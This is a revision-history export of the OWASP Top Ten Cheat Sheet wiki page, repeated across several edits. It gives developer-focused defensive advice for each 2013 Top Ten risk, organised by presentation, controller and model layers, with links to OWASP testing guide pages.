=== Testing ===<br />
* [[Fingerprint Web Server (OTG-INFO-002)]]<br />
* [[Fingerprint Web Application Framework (OTG-INFO-008)]]<br />
* [[Fingerprint Web Application (OTG-INFO-009)]]<br />
* [[Test Network/Infrastructure Configuration (OTG-CONFIG-001)]]<br />
* [[Test Application Platform Configuration (OTG-CONFIG-002)]]<br />
* [[Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003)]]<br />
* [[Review Old, Backup and Unreferenced Files for Sensitive Information (OTG-CONFIG-004)]]<br />
* [[Enumerate Infrastructure and Application Admin Interfaces (OTG-CONFIG-005)]]<br />
* [[Test HTTP Methods (OTG-CONFIG-006)]]<br />
* [[Test RIA cross domain policy (OTG-CONFIG-008)]]<br />
* [[Testing for Error Code (OTG-ERR-001)]]<br />
* [[Testing for Stack Traces (OTG-ERR-002)]]<br />
<br />
== A6 Sensitive Data Exposure ==<br />
<br />
=== Presentation ===<br />
''Design:''<br />
*Use strong ciphers (AES 128 or better) with secure mode of operations (do not use ECB).<br />
*Use strong hashes (SHA 256 or better) with salts for passwords.<br />
*Protect keys more than any other asset.<br />
*Use TLS 1.2 or later for all web communications.<br />
*Buy extended validation (EV) certificates for public web servers.<br />
<br />
''Tip: Use TLS 1.2 always – even internally. Most snooping is done within corporate networks – and it is as easy and unethical as fishing with dynamite.''<br />
<br />
''Render:''<br />
*Do not send keys or hashes to the browser.<br />
<br />
=== Controller ===<br />
''Design:''<br />
*Use strong ciphers (AES 128 or better) with secure mode of operations (do not use ECB).<br />
*Use strong hashes (SHA 256 or better) with salts for passwords.<br />
*Protect keys more than any other asset.<br />
*Mandate strong encrypted communications between web and database servers and any other servers or administrative users.<br />
<br />
''Tip: Only certain personally identifiable information and sensitive values MUST be encrypted. Encrypt data that would be embarrassing or costly if it was leaked or stolen. ''<br />
<br />
''Tip: It is best to encrypt data on the application server, rather than the database server.''<br />
<br />
=== Model ===<br />
''Design:''<br />
<br />
*Mandate strong encrypted communications with application servers and any other servers or administrative users.<br />
<br />
''Tip: Do not use RDBMS database, row or table level encryption. The data can be retrieved in the clear by anyone with direct access to the server, or over the network using the application credentials. It might even traverse the network in the clear despite being "encrypted" on disk. ''<br />
<br />
=== Testing ===<br />
* [[Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001)]]<br />
* [[Testing for Padding Oracle (OTG-CRYPST-002)]]<br />
* [[Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-003)]]<br />
* [[Test HTTP Strict Transport Security (OTG-CONFIG-007)]]<br />
* [[Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)]]<br />
<br />
== A7 Missing Function Level Access Control ==<br />
=== Presentation ===<br />
''Design:''<br />
*Ensure all non-web data is outside the web root (logs, configuration, etc).<br />
*Use octet byte streaming instead of providing access to real files such as PDFs or CSVs or similar.<br />
*Ensure every page requires a role, even if it is "guest".<br />
<br />
''Pre-render:''<br />
*Validate user is authenticated.<br />
*Validate role is sufficient to view secured URL.<br />
<br />
''Render:''<br />
*Send CSRF token.<br />
<br />
=== Controller ===<br />
*Validate user is authenticated.<br />
*Validate role is sufficient to perform secured action.<br />
*Validate CSRF token.<br />
<br />
''Tip: It's impossible to control access to secured resources that the web application server does not directly serve. Therefore, PDF reports or similar should be served by the web application server using binary octet streaming. ''<br />
<br />
''Tip: Assume attackers '''will''' learn where "hidden" directories and "random" filenames are, so do not store these files in the web root, even if they are not directly linked.''<br />
<br />
=== Model ===<br />
Validate role is sufficient to create, read, update, or delete data<br />
<br />
=== Testing ===<br />
* [[Testing Directory traversal/file include (OTG-AUTHZ-001)]]<br />
* [[Testing for Bypassing Authorization Schema (OTG-AUTHZ-002)]]<br />
* [[Testing for Bypassing Authentication Schema (OTG-AUTHN-004)]]<br />
<br />
== A8 Cross Site Request Forgery ==<br />
=== Presentation ===<br />
''Pre-render:''<br />
*Validate user is authenticated<br />
*Validate role is sufficient for this view<br />
<br />
''Render:''<br />
*Send CSRF token.<br />
*Set "secure" and "HttpOnly" flags for session cookies.<br />
<br />
=== Controller ===<br />
*Validate CSRF token.<br />
*Validate role is sufficient to perform this action.<br />
*Validate role is sufficient.<br />
<br />
''Tip: CSRF is '''always '''possible if there is XSS, so make sure XSS is eliminated within your application.''<br />
<br />
=== Model ===<br />
Validate role is sufficient to create, read, update, or delete data<br />
<br />
=== Testing ===<br />
* [[Testing for CSRF (OTG-SESS-005)]]<br />
<br />
== A9 Using Components with Known Vulnerabilities ==<br />
=== Presentation ===<br />
=== Controller ===<br />
=== Model ===<br />
=== Testing ===<br />
* [[Enumerate Applications on Webserver (OTG-INFO-004)]]<br />
<br />
== A10 Unvalidated Redirects and Forwards ==<br />
<br />
=== Presentation ===<br />
*Design the app without URL redirection parameters.<br />
<br />
or<br />
<br />
''Render:''<br />
*Use random indirect object references for redirection parameters.<br />
<br />
=== Controller ===<br />
*Design the app without URL redirection parameters.<br />
<br />
or<br />
<br />
*Obtain direct redirection parameter from random indirect reference access map.<br />
*(LR) Positive validation of redirection parameter.<br />
*(NR) Java – Do not forward() requests as this prevents SSO access control mechanisms.<br />
<br />
=== Model ===<br />
*Validate role is sufficient to create, read, update, or delete data.<br />
<br />
=== Testing ===<br />
* [[Testing for Client Side URL Redirect (OTG-CLIENT-004)]]<br />
<br />
= Authors and Primary Editors =<br />
<br />
* Andrew van der Stock vanderaj[at]owasp.org<br />
* Ismael Rocha Gonçalves ismaelrg[at]gmail.com<br />
* Jorge Correa jacorream@gmail.com<br />
<br />
= Other Cheatsheets =<br />
<br />
{{Cheatsheet_Navigation_Body}}<br />
<br />
[[Category:Cheatsheets]]</div>Dan Wallishttps://wiki.owasp.org/index.php?title=OWASP_Top_Ten_Cheat_Sheet&diff=231998OWASP Top Ten Cheat Sheet2017-08-03T03:18:20Z<p>Dan Wallis: </p>
<hr />
<div> __NOTOC__<br />
<div style="width:100%;height:160px;border:0,margin:0;overflow: hidden;">[[File:Cheatsheets-header.jpg|link=]]</div><br />
<br />
= Introduction =<br />
__TOC__{{TOC hidden}}<br />
<br />
The following is a developer-centric defensive cheat sheet for the 2013 release of the [[OWASP Top Ten Project]]. It also presents a quick reference based on [[OWASP Testing Project]] to help how to identify the risks.<br />
<br />
= OWASP Top Ten Cheat Sheet =<br />
<br />
{| border=1<br />
| <br />
||'''Presentation'''<br />
||'''Controller'''<br />
||'''Model'''<br />
||'''Testing (OWASP Testing Guide V4)'''<br />
<br />
|-<br />
|'''A1 Injection'''<br />
||<br />
<br />
''Render:''<br />
*Set a correct content type<br />
*Set safe character set (UTF-8)<br />
*Set correct locale<br />
<br />
''On Submit:''<br />
*Enforce input field type and lengths.<br />
*Validate fields and provide feedback.<br />
*Ensure option selects and radio contain only sent values.<br />
||'''Canonicalize using correct character set'''<br />
'''Positive input validation using correct character set'''<br />
<br />
(NR) Negative input validation.<br />
(LR) Sanitize input.<br />
<br />
''Tip: updating a negative list (such as looking for "script", "sCrIpT", "ßCrîpt", etc) will require expensive and constant deployments and will '''always '''fail as attackers work out your list of "bad" words. Positive validation is simpler, faster and usually more secure and needs updating far less than any other validation mechanism. ''<br />
||*'''[https://www.owasp.org/index.php/Query_Parameterization_Cheat_Sheet Parameterized queries]'''<br />
<br />
*Object relational model (Hibernate).<br />
*Active Record design pattern.<br />
*Stored procedures.<br />
<br />
*Escape mechanisms such as ESAPI's Encoder:<br />
**EncodeForLDAP()<br />
**Encoder.EncodeforOS()<br />
<br />
''Tip: '''All '''SQL Injection is due to dynamic SQL queries. Strongly consider prohibiting dynamic SQL queries within your organization ''<br />
<br />
||<br />
* [[Testing for SQL Injection (OTG-INPVAL-005)]]<br />
* [[Testing for LDAP Injection (OTG-INPVAL-006)]]<br />
* [[Testing for ORM Injection (OTG-INPVAL-007)]]<br />
* [[Testing for XML Injection (OTG-INPVAL-008)]]<br />
* [[Testing for SSI Injection (OTG-INPVAL-009)]]<br />
* [[Testing for XPath Injection (OTG-INPVAL-010)]]<br />
* [[Testing for IMAP/SMTP Injection (OTG-INPVAL-011)]]<br />
* [[Testing for Code Injection (OTG-INPVAL-012)]]<br />
* [[Testing for Command Injection (OTG-INPVAL-013)]]<br />
* [[Testing for Buffer Overflow (OTG-INPVAL-014)]]<br />
<br />
|-<br />
|'''A2 Weak authentication and session management'''<br />
||''Render:''<br />
*Validate user is authenticated.<br />
*Validate role is sufficient for this view.<br />
*Set "secure" and "HttpOnly" flags for session cookies.<br />
*Send CSRF token with forms.<br />
<br />
||''Design:''<br />
*Only use inbuilt session management.<br />
*Store secondary SSO / framework / custom session identifiers in native session object – do not send as additional headers or cookies.<br />
<br />
*Validate user is authenticated.<br />
*Validate role is sufficient to perform this action.<br />
*Validate CSRF token.<br />
||Validate role is sufficient to create, read, update, or delete data<br />
<br />
''Tip: Consider the use of a "governor" to regulate the maximum number of requests per second / minute / hour that this user may perform. For example, a typical banking user should not perform more than ten transactions a minute, and one hundred per second is dangerous and should be blocked.''<br />
<br />
||<br />
* [[Test Role Definitions (OTG-IDENT-001)]]<br />
* [[Test User Registration Process (OTG-IDENT-002)]]<br />
* [[Test Account Provisioning Process (OTG-IDENT-003)]]<br />
* [[Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004)]]<br />
* [[Testing for Weak or unenforced username policy (OTG-IDENT-005)]]<br />
* [[Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)]]<br />
* [[Testing for default credentials (OTG-AUTHN-002)]]<br />
* [[Testing for Weak lock out mechanism (OTG-AUTHN-003)]]<br />
* [[Testing for Bypassing Authentication Schema (OTG-AUTHN-004)]]<br />
* [[Testing for Vulnerable Remember Password (OTG-AUTHN-005)]]<br />
* [[Testing for Browser cache weakness (OTG-AUTHN-006)]]<br />
* [[Testing for Weak password policy (OTG-AUTHN-007)]]<br />
* [[Testing for Weak security question/answer (OTG-AUTHN-008)]]<br />
* [[Testing for weak password change or reset functionalities (OTG-AUTHN-009)]]<br />
* [[Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)]]<br />
* [[Testing for Bypassing Authorization Schema (OTG-AUTHZ-002)]]<br />
* [[Testing for Privilege escalation (OTG-AUTHZ-003)]]<br />
* [[Testing for Session Management Schema (OTG-SESS-001)]]<br />
* [[Testing for cookies attributes (OTG-SESS-002)]]<br />
* [[Testing for Session Fixation (OTG-SESS-003)]]<br />
* [[Testing for Exposed Session Variables (OTG-SESS-004)]]<br />
* [[Testing for CSRF (OTG-SESS-005)]]<br />
* [[Testing for logout functionality (OTG-SESS-006)]]<br />
* [[Test Session Timeout (OTG-SESS-007)]]<br />
* [[Testing for Session puzzling (OTG-SESS-008)]]<br />
<br />
|-<br />
|'''A3 XSS'''<br />
||<br />
<br />
''Render:''<br />
*Set correct content type<br />
*Set safe character set (UTF-8)<br />
*Set correct locale<br />
*Output encode all user data as per output context<br />
*Set input constraints<br />
<br />
''On Submit:''<br />
*Enforce input field type and lengths.<br />
*Validate fields and provide feedback.<br />
*Ensure option selects and radio contain only sent values.<br />
||'''Canonicalize using correct character set'''<br />
'''Positive input validation using correct character set'''<br />
<br />
(NR) Negative input validation <br />
(LR) Sanitize input <br />
<br />
''Tip: Only process data that is 100% trustworthy. Everything else is hostile and should be rejected.''<br />
||''Tip: Do not store data HTML encoded in the database. This prevents new uses for the data, such as web services, RSS feeds, FTP batches, data warehousing, cloud computing, and so on.''<br />
<br />
''Tip: Use OWASP Scrubbr to clean tainted or hostile data from legacy data''<br />
<br />
||<br />
* [[Testing for Reflected Cross site scripting (OTG-INPVAL-001)]]<br />
* [[Testing for Stored Cross site scripting (OTG-INPVAL-002)]]<br />
* [[Testing for DOM-based Cross site scripting (OTG-CLIENT-001)]]<br />
* [[Testing for JavaScript Execution (OTG-CLIENT-002)]]<br />
* [[Testing for HTML Injection (OTG-CLIENT-003)]]<br />
* [[Testing for Cross site flashing (OTG-CLIENT-008)]]<br />
<br />
|-<br />
|'''A4 Insecure Direct Object References'''<br />
||If data is from internal trusted sources, no data is sent.<br />
<br />
Or<br />
<br />
''Render:''<br />
*Send indirect random access reference map value.<br />
||Obtain data from internal, trusted sources.<br />
<br />
Or<br />
<br />
Obtain direct value from random access reference access map.<br />
||Validate role is sufficient to create, read, update, or delete data.<br />
<br />
||<br />
* [[Testing Directory traversal/file include (OTG-AUTHZ-001)]]<br />
* [[Testing for Insecure Direct Object References (OTG-AUTHZ-004)]]<br />
* [[Testing for Local File Inclusion]]<br />
* [[Testing for Remote File Inclusion]]<br />
<br />
|-<br />
|'''A5 Security Misconfiguration'''<br />
||Ensure web servers and application servers are hardened.<br />
<br />
PHP: Ensure allow_url_fopen and allow_url_include are both disabled in php.ini. Consider the use of Suhosin extension <br />
||Ensure web servers and application servers are hardened <br />
<br />
XML: Ensure common web attacks (remote XSLT transforms, hostile XPath queries, recursive DTDs, and so on) are protected by your XML stack. Do not hand craft XML documents or queries – use the XML layer. <br />
||Ensure database servers are hardened <br />
<br />
||<br />
* [[Fingerprint Web Server (OTG-INFO-002)]]<br />
* [[Fingerprint Web Application Framework (OTG-INFO-008)]]<br />
* [[Fingerprint Web Application (OTG-INFO-009)]]<br />
* [[Test Network/Infrastructure Configuration (OTG-CONFIG-001)]]<br />
* [[Test Application Platform Configuration (OTG-CONFIG-002)]]<br />
* [[Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003)]]<br />
* [[Review Old, Backup and Unreferenced Files for Sensitive Information (OTG-CONFIG-004)]]<br />
* [[Enumerate Infrastructure and Application Admin Interfaces (OTG-CONFIG-005)]]<br />
* [[Test HTTP Methods (OTG-CONFIG-006)]]<br />
* [[Test RIA cross domain policy (OTG-CONFIG-008)]]<br />
* [[Testing for Error Code (OTG-ERR-001)]]<br />
* [[Testing for Stack Traces (OTG-ERR-002)]]<br />
<br />
|-<br />
|'''A6 Sensitive Data Exposure'''<br />
||''Design:''<br />
*Use strong ciphers (AES 128 or better) with secure mode of operations (do not use ECB).<br />
*Use strong hashes (SHA 256 or better) with salts for passwords.<br />
*Protect keys more than any other asset.<br />
*Use TLS 1.2 or later for all web communications.<br />
*Buy extended validation (EV) certificates for public web servers.<br />
<br />
''Tip: Use TLS 1.2 always – even internally. Most snooping is done within corporate networks – and it is as easy and unethical as fishing with dynamite.''<br />
<br />
''Render:''<br />
*Do not send keys or hashes to the browser.<br />
<br />
||''Design:''<br />
*Use strong ciphers (AES 128 or better) with secure mode of operations (do not use ECB).<br />
*Use strong hashes (SHA 256 or better) with salts for passwords.<br />
*Protect keys more than any other asset.<br />
*Mandate strong encrypted communications between web and database servers and any other servers or administrative users.<br />
<br />
''Tip: Only certain personally identifiable information and sensitive values MUST be encrypted. Encrypt data that would be embarrassing or costly if it was leaked or stolen. ''<br />
<br />
''Tip: It is best to encrypt data on the application server, rather than the database server.''<br />
<br />
||''Design:''<br />
<br />
*Mandate strong encrypted communications with application servers and any other servers or administrative users.<br />
<br />
''Tip: Do not use RDBMS database, row or table level encryption. The data can be retrieved in the clear by anyone with direct access to the server, or over the network using the application credentials. It might even traverse the network in the clear despite being "encrypted" on disk. ''<br />
<br />
||<br />
* [[Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001)]]<br />
* [[Testing for Padding Oracle (OTG-CRYPST-002)]]<br />
* [[Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-003)]]<br />
* [[Test HTTP Strict Transport Security (OTG-CONFIG-007)]]<br />
* [[Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)]]<br />
<br />
|-<br />
|'''A7 Missing Function Level Access Control'''<br />
||''Design:''<br />
*Ensure all non-web data is outside the web root (logs, configuration, etc).<br />
*Use octet byte streaming instead of providing access to real files such as PDFs or CSVs or similar.<br />
*Ensure every page requires a role, even if it is "guest".<br />
<br />
''Pre-render:''<br />
*Validate user is authenticated.<br />
*Validate role is sufficient to view secured URL.<br />
<br />
''Render:''<br />
*Send CSRF token.<br />
||<br />
*Validate user is authenticated.<br />
*Validate role is sufficient to perform secured action.<br />
*Validate CSRF token.<br />
<br />
''Tip: It's impossible to control access to secured resources that the web application server does not directly serve. Therefore, PDF reports or similar should be served by the web application server using binary octet streaming. ''<br />
<br />
''Tip: Assume attackers '''will''' learn where "hidden" directories and "random" filenames are, so do not store these files in the web root, even if they are not directly linked.''<br />
||Validate role is sufficient to create, read, update, or delete data<br />
<br />
||<br />
* [[Testing Directory traversal/file include (OTG-AUTHZ-001)]]<br />
* [[Testing for Bypassing Authorization Schema (OTG-AUTHZ-002)]]<br />
* [[Testing for Bypassing Authentication Schema (OTG-AUTHN-004)]]<br />
<br />
|-<br />
|'''A8 Cross Site Request Forgery'''<br />
||''Pre-render:''<br />
*Validate user is authenticated<br />
*Validate role is sufficient for this view<br />
<br />
''Render:''<br />
*Send CSRF token.<br />
*Set "secure" and "HttpOnly" flags for session cookies.<br />
||<br />
*Validate CSRF token.<br />
*Validate role is sufficient to perform this action.<br />
*Validate role is sufficient.<br />
<br />
''Tip: CSRF is '''always '''possible if there is XSS, so make sure XSS is eliminated within your application.''<br />
||Validate role is sufficient to create, read, update, or delete data<br />
<br />
||<br />
* [[Testing for CSRF (OTG-SESS-005)]]<br />
<br />
|-<br />
|'''A9 Using Components with Known Vulnerabilities'''<br />
||<br />
<br />
<br />
||<br />
<br />
<br />
||<br />
<br />
<br />
||<br />
* [[Enumerate Applications on Webserver (OTG-INFO-004)]]<br />
|-<br />
<br />
|-<br />
|'''A10 Unvalidated Redirects and Forwards'''<br />
||<br />
*Design the app without URL redirection parameters.<br />
<br />
or<br />
<br />
''Render:''<br />
*Use random indirect object references for redirection parameters.<br />
<br />
||<br />
*Design the app without URL redirection parameters.<br />
<br />
or<br />
<br />
*Obtain direct redirection parameter from random indirect reference access map.<br />
*(LR) Positive validation of redirection parameter.<br />
*(NR) Java – Do not forward() requests as this prevents SSO access control mechanisms.<br />
<br />
||<br />
*Validate role is sufficient to create, read, update, or delete data.<br />
<br />
||<br />
* [[Testing for Client Side URL Redirect (OTG-CLIENT-004)]]<br />
<br />
|-<br />
|}<br />
<br />
= Authors and Primary Editors =<br />
<br />
Andrew van der Stock vanderaj[at]owasp.org<br />
<br />
Ismael Rocha Gonçalves ismaelrg[at]gmail.com<br />
<br />
Jorge Correa jacorream@gmail.com<br />
<br />
= Other Cheatsheets =<br />
<br />
{{Cheatsheet_Navigation_Body}}<br />
<br />
[[Category:Cheatsheets]]</div>Dan Wallishttps://wiki.owasp.org/index.php?title=OWASP_Top_Ten_Cheat_Sheet&diff=231997OWASP Top Ten Cheat Sheet2017-08-03T03:16:55Z<p>Dan Wallis: </p>
<hr />
<div> __NOTOC__<br />
<div style="width:100%;height:160px;border:0,margin:0;overflow: hidden;">[[File:Cheatsheets-header.jpg|link=]]</div><br />
<br />
= Introduction =<br />
__TOC__{{TOC hidden}}<br />
<br />
The following is a developer-centric defensive cheat sheet for the 2013 release of the [[OWASP Top Ten Project]]. It also presents a quick reference based on [[OWASP Testing Project]] to help how to identify the risks.<br />
<br />
= OWASP Top Ten Cheat Sheet =<br />
<br />
{| border=1<br />
| <br />
||'''Presentation'''<br />
||'''Controller'''<br />
||'''Model'''<br />
||'''Testing (OWASP Testing Guide V4)'''<br />
<br />
|-<br />
|'''A1 Injection'''<br />
||<br />
<br />
''Render:''<br />
*Set a correct content type<br />
*Set safe character set (UTF-8)<br />
*Set correct locale<br />
<br />
''On Submit:''<br />
*Enforce input field type and lengths.<br />
*Validate fields and provide feedback.<br />
*Ensure option selects and radio contain only sent values.<br />
||'''Canonicalize using correct character set'''<br />
'''Positive input validation using correct character set'''<br />
<br />
(NR) Negative input validation.<br />
(LR) Sanitize input.<br />
<br />
''Tip: updating a negative list (such as looking for "script", "sCrIpT", "ßCrîpt", etc) will require expensive and constant deployments and will '''always '''fail as attackers work out your list of "bad" words. Positive validation is simpler, faster and usually more secure and needs updating far less than any other validation mechanism. ''<br />
||*'''[https://www.owasp.org/index.php/Query_Parameterization_Cheat_Sheet Parameterized queries]'''<br />
<br />
*Object relational model (Hibernate).<br />
*Active Record design pattern.<br />
*Stored procedures.<br />
<br />
*Escape mechanisms such as ESAPI's Encoder:<br />
**EncodeForLDAP()<br />
**Encoder.EncodeforOS()<br />
<br />
''Tip: '''All '''SQL Injection is due to dynamic SQL queries. Strongly consider prohibiting dynamic SQL queries within your organization ''<br />
<br />
||<br />
* [[Testing for SQL Injection (OTG-INPVAL-005)]]<br />
* [[Testing for LDAP Injection (OTG-INPVAL-006)]]<br />
* [[Testing for ORM Injection (OTG-INPVAL-007)]]<br />
* [[Testing for XML Injection (OTG-INPVAL-008)]]<br />
* [[Testing for SSI Injection (OTG-INPVAL-009)]]<br />
* [[Testing for XPath Injection (OTG-INPVAL-010)]]<br />
* [[Testing for IMAP/SMTP Injection (OTG-INPVAL-011)]]<br />
* [[Testing for Code Injection (OTG-INPVAL-012)]]<br />
* [[Testing for Command Injection (OTG-INPVAL-013)]]<br />
* [[Testing for Buffer Overflow (OTG-INPVAL-014)]]<br />
<br />
|-<br />
|'''A2 Weak authentication and session management'''<br />
||''Render:''<br />
*Validate user is authenticated.<br />
*Validate role is sufficient for this view.<br />
*Set "secure" and "HttpOnly" flags for session cookies.<br />
*Send CSRF token with forms.<br />
<br />
||''Design:''<br />
*Only use inbuilt session management.<br />
*Store secondary SSO / framework / custom session identifiers in native session object – do not send as additional headers or cookies.<br />
<br />
*Validate user is authenticated.<br />
*Validate role is sufficient to perform this action.<br />
*Validate CSRF token.<br />
||Validate role is sufficient to create, read, update, or delete data<br />
<br />
''Tip: Consider the use of a "governor" to regulate the maximum number of requests per second / minute / hour that this user may perform. For example, a typical banking user should not perform more than ten transactions a minute, and one hundred per second is dangerous and should be blocked.''<br />
<br />
||<br />
* [[Test Role Definitions (OTG-IDENT-001)]]<br />
* [[Test User Registration Process (OTG-IDENT-002)]]<br />
* [[Test Account Provisioning Process (OTG-IDENT-003)]]<br />
* [[Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004)]]<br />
* [[Testing for Weak or unenforced username policy (OTG-IDENT-005)]]<br />
* [[Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)]]<br />
* [[Testing for default credentials (OTG-AUTHN-002)]]<br />
* [[Testing for Weak lock out mechanism (OTG-AUTHN-003)]]<br />
* [[Testing for Bypassing Authentication Schema (OTG-AUTHN-004)]]<br />
* [[Testing for Vulnerable Remember Password (OTG-AUTHN-005)]]<br />
* [[Testing for Browser cache weakness (OTG-AUTHN-006)]]<br />
* [[Testing for Weak password policy (OTG-AUTHN-007)]]<br />
* [[Testing for Weak security question/answer (OTG-AUTHN-008)]]<br />
* [[Testing for weak password change or reset functionalities (OTG-AUTHN-009)]]<br />
* [[Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)]]<br />
* [[Testing for Bypassing Authorization Schema (OTG-AUTHZ-002)]]<br />
* [[Testing for Privilege escalation (OTG-AUTHZ-003)]]<br />
* [[Testing for Session Management Schema (OTG-SESS-001)]]<br />
* [[Testing for cookies attributes (OTG-SESS-002)]]<br />
* [[Testing for Session Fixation (OTG-SESS-003)]]<br />
* [[Testing for Exposed Session Variables (OTG-SESS-004)]]<br />
* [[Testing for CSRF (OTG-SESS-005)]]<br />
* [[Testing for logout functionality (OTG-SESS-006)]]<br />
* [[Test Session Timeout (OTG-SESS-007)]]<br />
* [[Testing for Session puzzling (OTG-SESS-008)]]<br />
<br />
|-<br />
|'''A3 XSS'''<br />
||<br />
<br />
''Render:''<br />
*Set correct content type<br />
*Set safe character set (UTF-8)<br />
*Set correct locale<br />
*Output encode all user data as per output context<br />
*Set input constraints<br />
<br />
''On Submit:''<br />
*Enforce input field type and lengths.<br />
*Validate fields and provide feedback.<br />
*Ensure option selects and radio contain only sent values.<br />
||'''Canonicalize using correct character set'''<br />
'''Positive input validation using correct character set'''<br />
<br />
(NR) Negative input validation <br />
(LR) Sanitize input <br />
<br />
''Tip: Only process data that is 100% trustworthy. Everything else is hostile and should be rejected.''<br />
||''Tip: Do not store data HTML encoded in the database. This prevents new uses for the data, such as web services, RSS feeds, FTP batches, data warehousing, cloud computing, and so on.''<br />
<br />
''Tip: Use OWASP Scrubbr to clean tainted or hostile data from legacy data''<br />
<br />
||<br />
* [[Testing for Reflected Cross site scripting (OTG-INPVAL-001)]]<br />
* [[Testing for Stored Cross site scripting (OTG-INPVAL-002)]]<br />
* [[Testing for DOM-based Cross site scripting (OTG-CLIENT-001)]]<br />
* [[Testing for JavaScript Execution (OTG-CLIENT-002)]]<br />
* [[Testing for HTML Injection (OTG-CLIENT-003)]]<br />
* [[Testing for Cross site flashing (OTG-CLIENT-008)]]<br />
<br />
|-<br />
|'''A4 Insecure Direct Object References'''<br />
||If data is from internal trusted sources, no data is sent.<br />
<br />
Or<br />
<br />
''Render:''<br />
*Send indirect random access reference map value.<br />
||Obtain data from internal, trusted sources.<br />
<br />
Or<br />
<br />
Obtain direct value from random access reference access map.<br />
||Validate role is sufficient to create, read, update, or delete data.<br />
<br />
||<br />
* [[Testing Directory traversal/file include (OTG-AUTHZ-001)]]<br />
* [[Testing for Insecure Direct Object References (OTG-AUTHZ-004)]]<br />
* [[Testing for Local File Inclusion]]<br />
* [[Testing for Remote File Inclusion]]<br />
<br />
|-<br />
|'''A5 Security Misconfiguration'''<br />
||Ensure web servers and application servers are hardened.<br />
<br />
PHP: Ensure allow_url_fopen and allow_url_include are both disabled in php.ini. Consider the use of Suhosin extension <br />
||Ensure web servers and application servers are hardened <br />
<br />
XML: Ensure common web attacks (remote XSLT transforms, hostile XPath queries, recursive DTDs, and so on) are protected by your XML stack. Do not hand craft XML documents or queries – use the XML layer. <br />
||Ensure database servers are hardened <br />
<br />
||<br />
* [[Fingerprint Web Server (OTG-INFO-002)]]<br />
* [[Fingerprint Web Application Framework (OTG-INFO-008)]]<br />
* [[Fingerprint Web Application (OTG-INFO-009)]]<br />
* [[Test Network/Infrastructure Configuration (OTG-CONFIG-001)]]<br />
* [[Test Application Platform Configuration (OTG-CONFIG-002)]]<br />
* [[Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003)]]<br />
* [[Review Old, Backup and Unreferenced Files for Sensitive Information (OTG-CONFIG-004)]]<br />
* [[Enumerate Infrastructure and Application Admin Interfaces (OTG-CONFIG-005)]]<br />
* [[Test HTTP Methods (OTG-CONFIG-006)]]<br />
* [[Test RIA cross domain policy (OTG-CONFIG-008)]]<br />
* [[Testing for Error Code (OTG-ERR-001)]]<br />
* [[Testing for Stack Traces (OTG-ERR-002)]]<br />
<br />
|-<br />
|'''A6 Sensitive Data Exposure'''<br />
||''Design:''<br />
*Use strong ciphers (AES 128 or better) with secure mode of operations (do not use ECB).<br />
*Use strong hashes (SHA 256 or better) with salts for passwords.<br />
*Protect keys more than any other asset.<br />
*Use TLS 1.2 or later for all web communications.<br />
*Buy extended validation (EV) certificates for public web servers.<br />
<br />
''Tip: Use TLS 1.2 always – even internally. Most snooping is done within corporate networks – and it is as easy and unethical as fishing with dynamite.''<br />
<br />
''Render:''<br />
*Do not send keys or hashes to the browser.<br />
<br />
||''Design:''<br />
*Use strong ciphers (AES 128 or better) with secure mode of operations (do not use ECB).<br />
*Use strong hashes (SHA 256 or better) with salts for passwords.<br />
*Protect keys more than any other asset.<br />
*Mandate strong encrypted communications between web and database servers and any other servers or administrative users.<br />
<br />
''Tip: Only certain personally identifiable information and sensitive values MUST be encrypted. Encrypt data that would be embarrassing or costly if it was leaked or stolen. ''<br />
<br />
''Tip: It is best to encrypt data on the application server, rather than the database server.''<br />
<br />
||''Design:''<br />
<br />
*Mandate strong encrypted communications with application servers and any other servers or administrative users.<br />
<br />
''Tip: Do not use RDBMS database, row or table level encryption. The data can be retrieved in the clear by anyone with direct access to the server, or over the network using the application credentials. It might even traverse the network in the clear despite being "encrypted" on disk. ''<br />
<br />
||<br />
* [[Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001)]]<br />
* [[Testing for Padding Oracle (OTG-CRYPST-002)]]<br />
* [[Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-003)]]<br />
* [[Test HTTP Strict Transport Security (OTG-CONFIG-007)]]<br />
* [[Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)]]<br />
<br />
|-<br />
|'''A7 Missing Function Level Access Control'''<br />
||''Design:''<br />
*Ensure all non-web data is outside the web root (logs, configuration, etc).<br />
*Use octet byte streaming instead of providing access to real files such as PDFs or CSVs or similar.<br />
*Ensure every page requires a role, even if it is "guest".<br />
<br />
''Pre-render:''<br />
*Validate user is authenticated.<br />
*Validate role is sufficient to view secured URL.<br />
<br />
''Render:''<br />
*Send CSRF token.<br />
||<br />
*Validate user is authenticated.<br />
*Validate role is sufficient to perform secured action.<br />
*Validate CSRF token.<br />
<br />
''Tip: It's impossible to control access to secured resources that the web application server does not directly serve. Therefore, PDF reports or similar should be served by the web application server using binary octet streaming. ''<br />
<br />
''Tip: Assume attackers '''will''' learn where "hidden" directories and "random" filenames are, so do not store these files in the web root, even if they are not directly linked.''<br />
||Validate role is sufficient to create, read, update, or delete data<br />
<br />
||<br />
''[https://www.owasp.org/index.php/Testing_Directory_traversal/file_include_(OTG-AUTHZ-001) Testing Directory traversal/file include (OTG-AUTHZ-001)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Bypassing_Authorization_Schema_(OTG-AUTHZ-002) Testing for bypassing authorization schema (OTG-AUTHZ-002)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Bypassing_Authentication_Schema_(OTG-AUTHN-004) Testing for bypassing authentication schema (OTG-AUTHN-004)]''<br />
<br />
|-<br />
|'''A8 Cross Site Request Forgery'''<br />
||''Pre-render:''<br />
